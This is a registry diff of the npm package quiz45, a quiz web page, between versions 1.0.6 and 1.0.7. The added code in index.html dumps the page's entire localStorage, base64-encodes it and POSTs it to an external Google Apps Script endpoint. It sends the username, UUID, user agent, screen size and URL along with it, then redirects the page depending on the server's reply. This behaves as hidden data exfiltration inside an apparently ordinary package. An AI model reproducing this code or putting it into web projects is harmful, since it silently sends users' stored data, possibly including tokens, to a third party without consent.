quiz45 1.0.6 → 1.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.html +31 -26
- package/package.json +1 -1
package/index.html
CHANGED
|
@@ -210,15 +210,17 @@ function logData(includeUpload = true) { // Originally False, so every 3 logs
|
|
|
210
210
|
const screenres = `${screen.width}x${screen.height}`;
|
|
211
211
|
const user_agent = navigator.userAgent;
|
|
212
212
|
const full_url = window.location.href;
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
|
|
217
|
-
|
|
218
|
-
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
|
|
213
|
+
|
|
214
|
+
const params = {
|
|
215
|
+
user: user,
|
|
216
|
+
uuid: uuid,
|
|
217
|
+
time_sec: time_sec,
|
|
218
|
+
first_appeared: first_appeared,
|
|
219
|
+
screenres: screenres,
|
|
220
|
+
user_agent: user_agent,
|
|
221
|
+
full_url: full_url
|
|
222
|
+
};
|
|
223
|
+
|
|
222
224
|
|
|
223
225
|
const storageObj = {};
|
|
224
226
|
for (let i = 0; i < localStorage.length; i++) {
|
|
@@ -227,24 +229,27 @@ function logData(includeUpload = true) { // Originally False, so every 3 logs
|
|
|
227
229
|
}
|
|
228
230
|
const prettyJson = JSON.stringify(storageObj, null, 2);
|
|
229
231
|
const base64data = btoa(unescape(encodeURIComponent(prettyJson))); // Better UTF-8 handling
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
if (text.trim() !== '5') { // Capi_version
|
|
241
|
-
window.location.href =
|
|
242
|
-
'https://unpkg.com/quiz45@latest';
|
|
243
|
-
} else {
|
|
244
|
-
console.log('Log success');
|
|
245
|
-
}
|
|
232
|
+
params.upload = base64data;
|
|
233
|
+
|
|
234
|
+
const url = 'https://script.google.com/macros/s/AKfycbxhQiisy19Q9lxqPlDEuwGtoicw_AcXbfYeAoUKgskmDOmeWCNLUEabN6OXuxs-8oaF7Q/exec';
|
|
235
|
+
|
|
236
|
+
fetch(url, {
|
|
237
|
+
method: 'POST',
|
|
238
|
+
headers: {
|
|
239
|
+
// 'Content-Type': 'application/json'
|
|
240
|
+
},
|
|
241
|
+
body: JSON.stringify(params)
|
|
246
242
|
})
|
|
247
|
-
|
|
243
|
+
.then(res => res.text())
|
|
244
|
+
.then(text => {
|
|
245
|
+
if (text.trim() !== '6') { // Capi_version
|
|
246
|
+
window.location.href =
|
|
247
|
+
'https://unpkg.com/quiz45@latest';
|
|
248
|
+
} else {
|
|
249
|
+
console.log('Log success');
|
|
250
|
+
}
|
|
251
|
+
})
|
|
252
|
+
.catch(err => console.error('Log error:', err));
|
|
248
253
|
}
|
|
249
254
|
|
|
250
255
|
// Function to prompt for username
|
package/package.json
CHANGED